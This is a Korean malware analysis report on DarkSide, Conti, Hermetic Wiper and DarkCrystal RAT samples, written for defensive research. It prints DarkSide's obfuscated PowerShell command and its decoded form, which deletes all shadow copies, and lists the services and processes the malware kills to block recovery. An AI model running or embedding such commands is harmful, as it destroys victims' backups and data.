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상반기� 분석� 악성코드
2022년� 상반기� 악성코드� 분석� 보고서�

2 Summary

악성코드 행위분류 주요행위 분석가
DarkSide RansomWare 파일� 암호화 서성환

Conti RansomWare 파일� 암호화 차현석
Hermetic Wiper MBR 영역� 파괴 서성환

UA_WAR_RAT RAT 원격� 제어 이익규

개

요
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분석� 개요
해당 악성코드는 지난 2021년 5월 미국의 대형 송유관 운영사인 ‘콜로니얼 파이

프라인’ 공격에 사용된 악성코드로, 해당 회사는 미국의 동부 동부 연안의 연료 

절반 가까이를 운송하는 만큼 미국 내 심각한 경제적 타격을 주었던 랜섬웨어이

다. 

[그림� 1] 콜로니얼� 파이프라인

해당 랜섬웨어 사건을 이후로 미국 조 바이든 미국 행정부는 해당 사태를 심각하게 

받아들이고 콜로니얼 파이프라인 해킹사태 재발방지를 위한 ‘사이버 보안강화 

명령’을 내렸다.

파일� 정보

2 DarkSide

Name DarkSide RansomWare

Type Exe 실행� 파일

Behavior RansomWare

MD5 9d418ecc0f3bf45029263b0944236884

TimeStamp

DarkSide
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동작� 과정

[그림 21] DarkSide 실행과정

DarkSide
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상세� 분석

관리자� 권한� 확인� 및� 권한� 획득

[그림� 24] 관리자� 권한� 확인

[그림� 25] 권한� 상승� 시도

DarkSide 랜섬웨어는 원활한 악성행위를 위해 IsUserAnAdmin을 이용하여 현재 

프로세스의 실행 권한이 관리자 권한에 의해 실행되었는지 확인한다, 이후 관리자 

권한에 의해 실행되지 않았다면 OpenProcessToken과 AdjustTokenPrivileges를 통해 

권한을 상승한다. 

DarkSide
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확장자명� 제작

[그림� 28] MachineGuid 획득

[그림� 29] 확장자� 생성

하드 코딩되어있는 문자열을 통해 레지스트리에 접근 후 MachineGuid 문자열을 

통해 확장자명 제작한다.

DarkSide
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랜섬� 아이콘� 생성

[그림� 32] 랜섬� 아이콘� 생성� 경로

[그림� 33] 생성된� 랜섬� 아이콘

[그림� 34] 아이콘� 등록을� 위한� 레지스트리� 생성

[그림� 35] 아이콘� 등록

DarkSide
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뮤텍스� 생성

[그림� 38] 뮤텍스� 생성

메모리에 로드된 랜섬웨어 파일 자체를 읽은 뒤 CRC32 연산을 통해 문자열을 생성

하고 Global[CRC32 연산값]로 뮤텍스 이름을 지정하여 생성한다. 

절전� 모드� 방지

[그림� 39] 디스플레이� 꺼짐� 방지

랜섬웨어가 실행되는 동안에는 시스템이 절전 모드로 변경되지 않도록 디스플레이 

꺼짐을 방지한다.

DarkSide
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사용자의� 시스템� 언어� 확인

[그림� 42] 시스템� 사용� 언어� 확인

러시아

우크라이나

벨라루스

타지키스탄

아르메니아

아제르바이잔

조지아

카자흐스탄

키르기스스탄

투르크메니스탄

우즈베키스탄

타타르스탄

몰도바

아제르바이잔

아랍애미리트

DarkSide
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사용자� 정보� 탈취� 및� C&C 서버로� 전송

[그림� 60] 사용자� 정보� 탈취

[그림� 61] 사용자� 정보� 전송

또한, 해당 악성코드는 사용자의 시스템 정보를 탈취한 뒤 해당 정보를 Json 

형태로 C&C 서버에 전송한다.

C&C 서버 hxxp://securebest****.com

DarkSide
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드라이버� 탐색

[그림� 64] GetLogicalDriveStringsW0

[그림� 65] GetDriveTypeW

[그림� 66] 드라이버� 탐색

암호화 진행을 위해 사용자의 PC 드라이브를 불러오고 각각의 타입을 검사하여 드

라이브가 이동식 혹은 고정 드라이브일시 악성 행위 조건문에 돌입한다.

불필요한� 정보� 삭제

[그림� 67] Recycle.Bin 경로� 탐색

DarkSide
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[그림� 70] 휴지통� 자료� 삭제

검사한 드라이브에서 Recyclebin 경로를 확인하여 휴지통에 들어있는 불필요한 

자료들을 삭제한다.

PowerShell을� 통한� VolumeShadowCopy 삭제

[그림� 71] CreateProcessW

powershell-ep bypass-c"(0..61)|%{$s+=[char][byte]  
('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F
72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};ie
x $s“

Get-WmiObject Win32_Shadowcopy | ForEach-Object{$_.Delete();}

[표� 8] PowerShell 로깅을� 통한� 복호화� 진행
DarkSide
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서비스� 활동� 중지

[그림� 74] 특정� 서비스� 종료� 루틴

vss VolumeShadowCopy 관련 서비스

sql SQL 관련� 서비스

svc$ SVSVC 등� 암호화에� 방해가� 되는� 서비스

memtas Mail 관련� 서비스

mepocs Mail 관련� 서비스

sophos Sophos 보안� 소프트웨어� 관련� 서비스

veeam Veeam Backup Solution 관련� 서비스

backup Backup 관련� 서비스

[표� 9] 서비스� 블랙리스트� 문자열

DarkSide
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일부� 특정� 프로세스� 탐지� 및� 종료

[그림� 77] 프로세스� 블랙리스트

프로세스� 블랙리스트

SQL, oracle, ocssd, dbsnmp, synctime, agntsvc, isqlplussvc, xfssvccon, mydesktopservice, 

ocomm, dbeng50, sqdcoreservice, excel, infopath, msaccess, mspub, onenote, 

powerpnt, steam, thebat, thunderbird, visio, winword, wordpad, notepad

[표� 10] 프로세스� 블랙리스트

DarkSide
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쓰레드� 생성

[그림� 80] 멀티� 쓰레드

랜섬� 노트� 생성

[그림� 81] 랜섬노트� 생성� 디렉토리� 결정.

[그림� 82] 랜섬노트� 생성.

DarkSide
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[그림� 85] 생성된� 랜섬노트

해당 랜섬웨어는 README.[랜덤 문자열].txt의 텍스트 파일 형태로 금전요구 및 지불 

방식에 대한 설명문을 바탕화면에 남기게 된다.

암호화� 대상� 파일� 탐색

[그림� 86] 파일� 탐색

DarkSide
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[그림� 89] 파일명� 변경

[그림� 90] ReadFile

읽어드린 파일에 대해서는 이전에 생성해 두었던 확장자명을 MoveFileExW를 통해 

변경해주고 읽어드리게 된다.

암호화� 진행� (Salsa20)

[그림� 91] 암호화� 루틴� 중� 일부

DarkSide
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[그림� 94] WriteFile

이후 Salsa20 알고리즘에 의해 암호화를 진행한 뒤 해당 암호화 바이너리 값을 

기존 정상파일에 덮어 씌우게 된다.

네트워크� 공유� 폴더�

[그림� 95] 네트워크� 공유� 확인

또한 네트워크 공유 폴더를 열거하여 공유 폴더가 존재할 시 공유 폴더 또한 

암호화를 진행하게 된다.

DarkSide
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배경화면� 변경

[그림� 98] CreateFontW

[그림� 99] swprintf

[그림� 100] GetTextExtentPoint32W

암호화가 완료된 이후 감염 사실을 PC 사용자에게 알리기 위해 바탕화면을 변경 

시키기 위한 이미지를 자체적으로 제작한다.

DarkSide
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[그림� 103] CreateFileW

[그림� 104] WriteFile

[그림� 105] 바탕화면� 변경� 루틴

생성된 이미지는 “ C:\ProgramData\[Random].BMP”에 저장된 이후 

“HKEY_CURRENT_USER\Control Panel\Desktop’ 레지스트리 경로에 WallPaper값을 

이전에 생성한 바탕화면 이미지 경로로 등록하여 이를 통해 바탕화면을 변경하게 

된다.

DarkSide
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[그림� 108] 변경된� 바탕화면

C&C 서버� 통신

[그림� 109] C&C 서버에� 데이터� 전송� 루틴

[그림� 110] HttpSendRequestW

DarkSide
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DarkSide 사이트�

[그림� 113] DarkSide 사이트

해당 랜섬웨어는 Windows 뿐만 아니라 Linux까지 공격을 수행하기 때문에 해당 

사이트에서 OS 버전별로 복호화를 진행한다.

DarkSide
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3.1 분석� 개요
Conti Ransomware는 2020년에 등장한 RaaS(ransomware-as-a-service)모델의 랜섬

웨어이다. ChaCha20  알리즘을 사용하여 파일을 암호화 시키며, RSA256 SMB프로

토콜을 통해 네트워크에 연결된 공유폴더 또한 암호화시킨다. 미국의 사이버보안 

및 인프라 보안국(CISA)에 따르면, 2022년 2월 28일 기준으로 Conti는 여전히 활동

적이며 미국 및 국제 조직에 대한 공격이 1,000건 이상으로 증가했다고 보고됐다. 

3 Conti

Conti Ransom
w

are
Conti
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3.2 악성코드� 샘플� 정보

3.3 동작과정

[그림� 119] Conti 동작과정

Name Conti Ransomware

Type .exe

Behavior Ransomware

MD5 290c7dfb01e50cea9e19da81a781af2c

Description DarkSide RansomWare

Timestamp 2020-12-18 03:57:35

Conti Ransom
w

are
Conti
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3.4 상세분석

Conti는 실행 인자에 따라서 실행 흐름을 변경시킬 수 있다. 다음과 같은 과정을 통

해 실행 인자를 확인한다.

[그림� 122] 실행� 인자� 확인(1)

Conti Ransom
w

are
Conti
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[그림� 124] 실행인자� 확인(2)

Conti Ransom
w

are
Conti
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Conti가 지원하는 실행 인자는 [표 13]와 같다.

전달� 인자 추가� 인자 옵션� 값 행위

-p [directory] 0xE 단일� 쓰레드로� 특정� 디렉터리만� 암호화

-m 

“all”
“local”
“net”
“backups

all: 0xA
local:0xB
net: 0xC
backups:0xD

all: 호스트, 공유폴더
local: 호스트
net: 공유� 폴더
backups: 구현되지� 않음

-log [Log file name] 0xA 로그� 기록

-size “chunck” 0xA 대용량� 파일을� 위한� 청크모드

-nomutex - 0xA 뮤텍스를� 생성하지� 않음

[표� 13] 실행� 인자

뮤텍스� 생성
중복실행 방지를 위한 뮤텍스를 생성한다. 뮤텍스명은 샘플마다 상이하다.

[그림� 127] 뮤텍스� 생성

Conti
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생성할� 쓰레드� 개수� 설정
Conti는 다른 랜섬웨어들과 마찬가지로, 빠른 파일 암호화를 구현하기 위해 

멀티쓰레드를 지원한다. 그림[127]은 물리 코어의 개수를 구하고 그에 맞게 생성할 

쓰레드의 개수를 설정 해주는 과정이다.

[그림� 129] 암호화� 쓰레드� 생성� 개수� 설정

암호화� 쓰레드� 생성
위에서 설정한 개수만큼 암호화 쓰레드를 생성한다.

[그림� 131] 암호화� 쓰레드� 생성

RSA256 비대칭 암호화 알고리즘 공개키 가져오기

Conti Ransom
w

are
Conti
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Conti는 하이브리드 암호화 방식을 사용한다. 파일 암호화에는 상대적으로 속도가 

빠른 ChaCha20 대칭키 암호화 알고리즘을 사용하고, ChaCha20에 사용된 키와 

nonce를 RSA256 공개키로 암호화를 수행한다. RSA256 키를 외부에서 읽어오기 

위해서 MS_ENHANCED_PROV 키 컨테이너 핸들을 획득한다.

[그림� 132] 키� 컨테이너� 핸들� 획득

해당 키 컨테이너로 외부의 RSA256 공개키를 가져온다. 해당 공개키는 악성코드 

내에 하드코딩 되어있다.

[그림� 133] RSA256 키� 가져오기

[그림 133]은 가져온 BLOB_HEADER와 암호화된 RSA256 공개키이다.

[그림� 135] BLOB_HEADER, RSA256 공개키

Conti
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랜섬노트� 생성
경로를 순회하며 [경로]+”\\+“readme.txt“를 생성하고 내용을 삽입한다.

[그림� 136] 랜섬노트� 생성

[그림� 137] 랜섬노트
Conti
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암호화� 대상� 파일� 식별
디렉터리를 순회하며 파일을 탐색한다.

[그림� 139] 디렉터리� 순회

파일을 찾았다면, 세 단계에 걸쳐서 유효한 파일인지 확인한다.

[그림� 140] 파일� 유효성� 검사

만약 유효한 파일이라면, 해당 파일이 디렉터리인지 확인한다. 만약 디렉터리라면 

화이트 리스트 디렉터리 목록에 포함되는지 검사한다.

[그림� 141] 화이트� 리스트� 검사

Conti
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화이트� 리스트� 디렉터리

tmp

winnt

thumb

$Recycle.Bin

$RECYCLE.BIN

System volume Information

Boot

windows

Trend Micro

perflogs

[표� 14] 화이트리스트� 디렉터리� 목록

만약 디렉터리가 아니라면, 해당 파일이 화이트 리스트 파일 목록에 포함되는지 한

번 더 검사한다. 만약, 화이트 리스트(디렉터리, 파일)에 포함되지 않는다면, 해당 파

일은 암호화 해야 할 파일로 간주된다.

화이트� 리스트� 파일

.exe

.dll

.lnk

.sys

.msi

.readme.txt

CONTI.LOG.txt

.bat

.FEALC

[표� 15] 화이트리스트� 파일� 목록
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ChaCha20 Table 초기화
파일을 암호화하기 위해 ChaCha20 테이블을 초기화한다. ChaCha20알고리즘의 구

성 요소는 key, nonce, 상수, counter가 있다,

[그림� 144] ChaCha20 Table 초기화

생성된 ChaCha20의 key와 nonce를 RSA256 공개키로 암호화한다.

[그림� 146] ChaCha20 Key, Nonce 암호화
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파일� 암호화� 가능� 여부� 확인
암호화 준비를 마친 후, 암호화 하고자 하는 파일을 수정할 수 있는지 확인한다.

과정은 다음과 같다.

⦁파일의 정상적으로 핸들을 얻어왔는가?

    ⦁얻어오지 못했다면 다른 프로세스에서 사용 중인가?

        ⦁다른 프로세스에서 사용 중이라면 해당 프로세스 강제 종료

파일을 다른 프로세스에서 사용 중인지 검사한다.

[그림� 147] 파일� 사용� 여부� 검사

파일을 다른 프로세스에서 사용 중이라면, 해당 프로세스를 강제 종료한다.

[그림� 149] 프로세스� 강제� 종료

암호화하고자 하는 파일을 사용 중인 프로세스를 강제 종료에 성공했다면, 다시 열

기를 시도한다.

[그림� 150] 파일� 열기� 재시도
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파일을 여는데 성공했다면, 파일의 크기를 확인 후 저장한다. 

[그림� 151] 파일� 크기� 정보� 저장

파일� 암호화
암호화를 빠른 시간내에 효율적으로 수행하기 위해 파일의 크기별로, 암호화 방식

을 달리한다. 

가장 먼저 하는 일은 특정 확장명을 복호화 하는 일이다. 이 확장명들은 잠재적으

로 크기가 매우 작을 가능성이 있는 파일 확장명들이다. 

[그림� 153] 확장명� 복호화
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크기가� 작을� 가능성이� 큰� 파일� 확장명
.4dd, .4dl, .accdb, .accdc, .accde, .accdr, .accdt, .accft, .adb, .ade, .adf, .adp, .arc, 
.ora, .alf, .ask, .btr, .bdf, .cat, .cdb, .ckp, .cma, .cpd, .dacpac, .dad, .dadiagrams, 
.daschema, .db, .db-shm, .db-wal, .db3, .dbc, .dbf, .dbs, .dbt, .dbv, .dbx, .dcb, 
.dct, .dcx, .ddl, .dlis, .dp1, .dqy, .dsk, .dsn, .dtsx, .dxl, .eco, .ecx, .edb, .epim, 
.exb, .fcd, .fdb, .fic, .fmp, .fmp12, .fmpsl, .fol, .fp3, .fp4, .fp5, .fp7, .fpt, .frm, .gdb, 
.grdb, .gwi, .hdb, .his, .ib, .idb, .ihx, .itdb, .itw, .jet, .jtx, .kdb, .kexi, .kexic, .kexis, 
.lgc, .lwx, .maf, .maq, .mar, .mas, .mav, .mdb, .mdf, .mpd, .mrg, .mud, .mwb, 
.myd, .ndf, .nnt, .nrmlib, .ns2, .ns3, .ns4, .nsf, .nv, .nv2, .nwdb, .nyf, .odb, .oqy, 
.orx, .owc, .p96, .p97, .pan, .pdb, .pdm, .pnz, .qry, .qvd, .rbf, .rctd, .rod, .rodx, 
.rpd, .rsd, .sas7bdat, .sbf, .scx, .sdb, .sdc, .sdf, .sis, .spq, .sql, .sqlite, .sqlite3, 
.sqlitedb, .te, .temx, .tmd, .tps, .trc, .trm, .udb, .udl, .usr, .v12, .vis, .vpd, .vvv, 
.wdb, .wmdb, .wrk, .xdb, .xld, .xmlff, .abcddb, .abs, .abx, .accdw, .adn, .db2, .fm5, 
.hjt, .icg, .icr, .kdb, .lut, .maw, .mdn, .mdt

[표� 16] 크기가� 작을� 가능성이� 큰� 파일� 확장명�
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만약 해당 파일의 크기가 488.28kb미만이거나, 위에서 복호화한 파일의 확장명과 

일치한다면 파일의 전체를 암호화 한다. 단, 확장명이 일치할 때, 파일의 크기가 

5,120kb미만일 경우에만 데이터 전체를 암호화를 한다.

[그림� 156] 소형� 크기� 파일� 암호화
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다음은 중간 크기의 파일 암호화다. 이 경우는 파일의 크기가 1MB~5MB이거나, 작

은 파일의 확장명을 가졌지만 파일의 크기가 5,120kb인 경우이다.  중간 크기는 파

일의 일부만을 암호화한다.

[그림� 157] 중간� 크기� 파일� 암호화
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파일의 크기가 매우 큰 경우이다. 복호화과정은 이전과 동일하다.

크기가� 클� 가능성이� 큰� 파일� 확장명
.vdi, .vhd, .vmdk, .pvm, .vmem, .vmsn, .vmsd, .nvram, .vmx, .raw, .qcow2, 
.subvol, .bin, .vsv, .avhd, .vmrs, .vhdx, .avdx, .vmcx, .iso

[표� 17]크기가� 클� 가능성이� 큰� 파일� 확장명

파일의 크기가 큰 경우엔, 데이터를 일정 간격으로 건너뛰며 암호화를 수행한다.

[그림� 159] 대형� 크기� 파일� 암호화
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파일 크기에 따라 상이한 암호화 방식

대상� 파일� 크기 1MB 이하 1MB초과� 5MB미만 5MB초과

암호화 파일� 전체� 암호화 파일� 일부(1MB) 암호화 일정� 간격으로� 암호화

대상� 확장명� 조건 존재 - 존재

비고

소형� 파일� 확장자이
지만� 파일의� 크기가�
1MB를� 넘어가는� 경
우, 파일의� 크기가�
5MB까지만� 파일� 전
체� 암호화

- -

[표� 18] 파일� 크기에� 따른� 암호화� 방식

볼륨쉐도우� 복사본� 삭제
콘티는 Windows의 복구 능력을 무력화 시키기 위하여 WQL(Windows Query 

Language)과 커맨드를 조합하여 볼륨쉐도우 복사본을 삭제한다. 

WQL을 사용하여 볼륨쉐도우 복사본 목록을 얻어온다.

[그림� 162] 볼륨쉐도우� 복사본� 목록� 얻기

명령어를 복호화하고 프로세스를 생성하여 볼륨쉐도우 복사본을 삭제한다.

[그림� 163] 볼륨쉐도우� 복사본� 삭제
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내부� 네트워크� 스캔
Conti는 로컬 시스템뿐만 아니라, 공유 네트워크도 암호화를 수행한다. 공유 네트워

크 폴더를 식별하기 위하여 ARP캐시를 조회한다.

[그림� 165] ARP 캐시� 조회

조회한 내부 네트워크 목록은 빅 엔디언 형식으로 저장되어 있다. 이를 리틀엔디언

으로 변환 후, Dot-decimal notation(IP주소 형식)으로 변환한다.

⦁ex)160000e0 -> 224.0.0.22

[그림� 166] IP주소� 형식� 변환
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변환된 IP가 실제로 사설 IP와 일치하는지 네 단계에 걸쳐 비교한다. (A, B, C Class, 

APIPA대역)

[그림� 168] IP 형식� 검사
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만약 내부 네트워크가 존재한다는 것이 확인됐다면, 공유 네트워크 탐색 쓰레드를 

생성한다.

[그림� 169] 공유� 네트워크� 탐색� 쓰레드� 생성

공유 폴더 목록을 얻어온다.

[그림� 171] 공유� 폴더� 목록� 열거
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문자열을 조합하여 실제로 공유 폴더에 접근할 수 있는 

“\\”+“[HOST]”+“\”+“[Share Name]” 형식으로 변환한다. 단, 공유 폴더명이 

“ADMIN$”인 경우는 제외한다. “ADMIN$” 폴더는 Windows 폴더를 의미하는데, 

만약 Windows 폴더를 암호화 하게되면, 시스템 동작에 지장이 있을 수 있기 

때문이다.

[그림� 173] 공유폴더� 접근� 주소� 생성
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실제로 공유폴더에 접근할 수 있는 주소로 변환에 성공했다면, 해당 접속 주소를 

저장한다. 

[그림� 175] 공유폴더� 접근� 주소� 저장

포트� 스캔
공유 폴더에 접근 가능한 주소를 얻었다면, 포트스캔 쓰레드를 생성한다. 공유 폴더

는 SMB프로토콜을 사용하여 통신한다. 해당 쓰레드는 얻은 공유 폴더의 주소로 실

제 접근이 가능한지 확인하기 위해 SMB(455)포트를 스캔한다.

[그림� 176] 포트스캔� 쓰레드� 생성

얻은 주소 455번 포트로 소켓 연결을 시도한다.

[그림� 177] 포트� 스캔� – 연결� 시도
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소켓 통신 여부를 확인한다. 만약 성공했다면, 해당 공유 폴더의 접속 경로는, 암호

화 쓰레드로 넘겨진 후 암호화가 진행된다.

[그림� 179] 포트� 스캔� – 성공� 여부� 검사
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[그림 182] 출처 : freepik

2022년 상반기 우크라이나를 상대로 러시아가 침공을 개시함. 그 과정에서 

러시아는 우크라이나를 상대로 사이버 공격을 감행함. 그 종류로는 데이터를 

삭제하는 Wiper 악성코드와 RAT 악성코드등이 성행하였음.

이러한 위협은 꾸준히 대응 해야하며 우리나라 또한 마찬가지로 북한의 Lazarus, 

Kimsuky 등의 APT공격이 꾸준히 발생하고 있음

해당 세션에서는 우크라이나와 러시아 전쟁에서 사용된 악성코드에 대한 분석을 

진행하여 국제 전쟁에서 악성코드가 어떤식으로 사용되며 어떠한 종류의 

악성코드가 사용되었는지 분석을 진행함.

4 CyberWar

Cyber W
ar
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분석� 개요

해당 악성코드는 러시아에서 우크라이나를 겨냥한 삭제형 멀웨어로 MBR 영역을 파

괴하여 디지털 장비를 속수무책으로 만드는 행위를 한다. 

출처� : freepik

출처� : 보안뉴스� 2022-02-28 

4-1 Hermetic
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파일� 정보
Name Hermetic Wiper

Type Exe 실행� 파일

Behavior Wiper

MD5 3f4a16b29f2f0532b7ce3e7656799125

TimeStamp 2022-02-23

MITRE ATT&CK

Execution Privilege 
Escalation

Defense 
Evasion

Discovery Impact

Native API Access Token 
Manipulation

Access Token 
Manipulation

File and 
Directory 
Discovery

Data 
Destruction

Deobfuscate/
Decode Files 

or 
Information

System 
Information 

Discovery

Inhibit 
System 

Recovery
Indicator 

Removal on 
Host

Service Stop

Modify 
Registry

System 
Shutdown/Re

boot
Obfuscated 

Files or 
Information
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상세� 분석

해당� 악성코드는� Hermetica Digital Ltd 서명을� 갖고있음.

악성� 파일� 드랍

[그림� 192] Resouce Data

해당 악성코드를 실행하게 되면 동작하는 시스템의 환경에 맞춰 파일을 드랍하게 

된다. 해당 파일은 4가지이며 각각 DRV 형태로 존재한다.

해당 파일 포맷은 SZDD로 구성되어 있으며 이는 코드 내 포함된 압축 해제 로직을 

통해 압축이 해제된다.

Cyber W
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리소스� 선택

[그림� 195] 로드가능한� 다양한� 드라이버

[그림� 196] CrashDump 비활성화

해당 악성코드는 사용가능한 적절한 버전의 드라이버를 피해 시스템의 환경에 따라 

선택하여 동작하게됩니다. 이후 감염이후 분석을 방해하기 위해 CrashDump를 

비활성화한다.

CrshDump는 일반적으로 드라이버의 버그 및 불안정으로 인해 전체 시스템이 

크래시되는 경우 만들어진다. 여기에는 시스템의 전체 상태에 대한 정보와 

디버깅을 돕기 위해 정확히 어떤 일이 발생하는지에 대한 정보가 포함되어 있기 

때문에 악성코드는 분석의 어려움을 위해 이러한 기능을 비활성화시킨다.
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드라이버� 생성

[그림� 200] 드라이버� 이름� 생성

[그림� 201] vfdr 권한� 상승

악성행위를 수행하기 앞서 실제 행위를 수행할 악성코드를 추가로 드롭한 뒤 

이름을 A~Z까지의 철자를 통해 랜덤으로 생성한다 이후 “SeLoadDriverPrivilege를 

통해 악성코드가 시스템 드라이버에 대한 권한을 얻을 수 있도록 자체적으로 권한 

상승을 시도한다.

Cyber W
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[그림� 203] 레지스트리� 등록

권한 상승된 악성코드는 “SYSTEM/CurrentControlSet/services/[랜덤명].sys 로 

등록된다.

[그림� 205] 레지스트리� 등록
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ar



- 55 -

EPMNTDRV 사용

[그림� 208] Use EPMNTDRV

[그림� 209] Get Handle

서비스로 로드된 드라이버의 기능을 사용하기위해 CreateFieW와 

DeviceIoControl함수를 이용하여 EPMNTDRV에 대한 핸들을 가져온다. 해당 기능을 

이용하여 디스크의 특정 섹터에 데이터 쓰기와 같은 권한 이상의 동작을 수행한다.

Cyber W
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볼륨� 쉐도우� 서비스� 비활성화

복구를 더 어렵게 만들기 위해 VSS가 중지되고 비활성화 됨.

[그림� 212] VSS 비활성화

[그림� 213] OpenServiceW 

[그림� 214] ChangeServiceConfigw 

[그림� 215] ContorlService
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파일� 상태� 설정� 변경

[그림� 218] 레지스트리� 변경

악성코드는 탐색기의 일부 설정을 수정한다. 이는 파일 상태를 숨겨서 변경사항을 

사용자에게 더 오랫동안 알 수 없도록 하기 위함으로 추정된다. 

“ShowCompColor”의 경우는 암호화되거나 압축된 NTFS 파일을 컬러로 표시에 

관한 설정이고, “ShowInfoTip”은 폴더 및 바탕화면 항목에 팝업 설명을 표시하는 

설정이다.

공격� 제외� 폴더

[그림� 219] 공격� 제외� 대상� 폴더� 명

공격자는 시스템의 불안정으로 인해 공격에 대한 실패를 방지하기 위해 Winodws 

표준 파일을 제외하기 위해 코드상에 명시하였음.
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공격� 시스템� 환경� 확인

[그림� 222] SYSVOL 존재� 여부� 확인

해당 시스템에서 C:\Windows\SYSVOL 폴더가 존재하는지 확인한다. 해당 폴더는 

Windows Server에서 사용되는 폴더로 시스템 볼륨 트리의 도메인 컨트롤러 

복사본을 다시 구축하는데 사용된다.

[그림� 223] 파일� 시스템� 확인

공격 대상의 파일시스템을 확인하여 NTFS와 FAT의 경우 실행을 다르게 한다. 

FAT32의 경우에는 임의의 데이터를 덮어씌우고 NTFS의 경우 파일 구조를 파싱하여 

파일 정보등($Bitmap, $LogFile)을 수집한다.
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멀티� 쓰레드� 사용

[그림� 226] CreateThread 생성

[그림� 227] WriteFile을� 통한� 파일� 덮어씌우기

멀티쓰레드를 통해 수집한 파일 및 MBR섹터를 임의의 문자열로 덮어씌운다. 

덮어쓰는 문자열은 윈도우 API를 통해 생성한 랜덤한 문자열이 사용된다.
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수행� 결과

[그림� 230] 감염� 결과
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분석� 개요

해당 악성코드는 지난 2022년 2월 24일 러시아와 우크라이나 간의 전쟁이 발발

하였을 때 사용된 악성코드로 러시아 측에서 우크라이나의 주요 기반시설을 공

격하기 위해 사용된 것으로 추측된다.

출처� : freepik 

해당 악성코드는 DCRAT(DarkCrystal RAT)이며, 시스템 메타데이터 수집, 감시, 정찰, 

정보 탈취, DDoS 공격 기능을 지원하며, 스크린샷을 캡처하고, 키 입력을 기록하고, 클립보

드, 텔레그램 및 웹 브라우저에서 콘텐츠를 훔칠 수 있는 기능이 있다.

[그림� 2] Dark Crystal RAT

4-2 UA_WAR_RAT
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파일� 정보

Name UA_WAR_RAT

Type Exe 실행� 파일

Behavior RAT

MD5 5a87c607ad7f9463d56c2abc2ddffd36

Description DCRAT

동작� 과정

해당 악성코드는 .NET Framework로 작성되었고 실행 시 C&C 서버와 통신하기 

위해 Protocol을 활성화하며, 레지스트리를 생성하고 자가복제 후에 C&C 서버와 

통신 한다.

개

요



- 63 -

상세� 분석

Base64로 인코딩된 zip을 압축 해제 후 나온 문자열을 역순 하여 디

코딩

[그림� 9] Base64로� 인코딩된� zip을� 압축� 해제

[그림� 10] Reverse 함수를� 이용하여� 역순�

[그림� 12] Base64 디코딩

개

요
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키 값 설명

SCRT {\"j\":\"$\",\"t\": ··· \"O\":\"@\"}

Replace 함수에� 사용

PCRT {\"Z\":\"%\",\"U\": ··· \"d\":\"^\"}

TAG 조건문에� 사용

MUTEX DCR_MUTEX-5zhYdCO1WGvPhUe3A3Og 뮤텍스� 명

LDTM als

조건문에� 사용

DBG als

SST

SMST

BCS

AUR

ASCFG
{\"savebrowsersdatatosinglefile\":false, 

···
searchpath\":\"%UsersFolder% - Fast\"}

AS ru

ASO ru

AD als

[표� 25] 디코딩� 후� 문자열

해당 악성코드는 Base64로 인코딩된 zip 파일을 Convert.FromBase64String 함수

를 사용하여 Base64로 디코딩한 후 GzipStream 함수를 사용하여 압축을 해제한

다. 해제해서 나온 문자열을 Reverse 함수를 사용하여 역순 한 뒤 Base64로 디

코딩해 준다. Anti Virus를 회피하기 위해 zip 파일을 이용하여 악성코드에서 사

용하는 문자열들을 숨겼을 것으로 추측된다.
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Protocol 활성화

[그림� 17] protocol 활성화� 로직

C&C 서버와의 통신을 위해 TLS, TLS1.1, TLS1.2, SSL3를 활성화한다.

사용자� PC명과� 사용자� 명 탈취

[그림� 19] 사용자� PC 명을� 가져옴�

[그림� 20] 사용자� 명을� 가져옴�

[그림� 21] SHA1 암호화

C&C 통신을 할 때 사용자의 정보와 SHA1으로 암호화된 뮤텍스 명을 SHA1으로 암

호화하여 보낸다.
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SHA1으로� 암호화한� 뮤텍스� 명으로� 뮤텍스를� 생성

[그림� 25] 뮤텍스� 명을� SHA1으로� 암호화

[그림� 26] 뮤텍스� 생성

Base64로� 인코딩된� zip을� 압축� 해제

[그림� 27] Base64로� 인코딩된� zip을� 압축� 해제

[그림� 28] Replace 함수
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[그림� 31] Reverse 함수

[그림� 33] Base64 디코딩

키 값 설명

PLUGINCONFIGS
eyJEQ0xJQkNsaXBwZXIi 

···
BbGwgVXNlcnMifX0=

Base64로� 인코딩된� 비트코인�
지갑� 정보

[표� 26] 디코딩� 후

Base64로 인코딩된 zip을 압축 해제 후 Replace 함수를 사용하여 PCRT의 값을 제

거한다. 그리고 Reverse 함수로 역순으로 재배치 후 Base64로 디코딩 하면 Base64

로 인코딩된 비트코인 지갑 정보가 나온다.
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Base64로� 인코딩된� 비트코인� 지갑� 정보를� Base64로� 디코딩

[그림� 37] Base64 디코딩

DCLIBClipper 설명
xrpW rH4AtHHaBEuSmWCeQHz5tN3ncf5WMPZ2dP

비트코인�
지갑의� 주소

btcW bc1q667g5nhr8gudr9lp5pkcg94gp94v0zujfl5xg8
bnbW 0x95A3007f62090A7FD6aBB7DB13C95fE2FD501F18
ethW 0x95A3007f62090A7FD6aBB7DB13C95fE2FD501F18
bchW qrjjcw99k5d7xerc2jpxnsu0hy5l05pkwufrx740jt

dogeW D5uhsmg4fR5DK4rj4WDrd1nvVpizPPUgYZ
dash XjXw3B2WVpcALp6Km7q81NwNAcGZMAaaha
ltcW ltc1qr2690e2l0f388wn83cgs97cs3q9z9uyxw9h837

xmrW
48zEroErbWqT5iRFrYMaoGCRofEPofF39MxEFGv2gg
uUhYW31q4dZ8C7TNMRX4CJuThZ9x3NnFxFbSYBB6

4SnLddN7bB3kC
CryptoStealerConfig 설명

zcash True

비트코인� 명

exodus True
electrum True
monero True

ethereum True
bytecoin True

litecoincore True
dashcore True

bitcoincore True
atomic True
armory True
binance True

metamask True
tronlink True

ronin True
binanceweb True

phantom True
extscanscheme All Users

[표� 27] 비트코인� 지갑� 정보
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실행� 중인� 모든� 프로세스� 목록� 확인

[그림� 41] 실행� 중인� 모든� 프로세스를� 가져옴�

[그림� 42] 랜덤� 값� 생성� 로직

[그림� 43] 프로세스� 명을� 가져옴

랜덤 값을 생성하여 50이상이면 악성코드를 복사하는 로직을 실행한다.
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랜덤으로 디렉토리� 선택

[그림� 49] 디렉토리� 명을� 가져오는� 로직

가져온 프로세스 명의 최상위 디렉토리 명의 하위 디렉토리 중 랜덤으로 하나를 고

른다.

악성코드� 복사

[그림� 50] copy 함수
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악성코드로� 복사한� 프로세스� 명의� .txt 파일� 생성

[그림� 53] WriteAllText

[그림� 54] SHA1 암호화� 로직

[그림� 55] 랜덤으로� 문자열을� 생성하는� 로직

[그림� 56] InternalWriteAllText
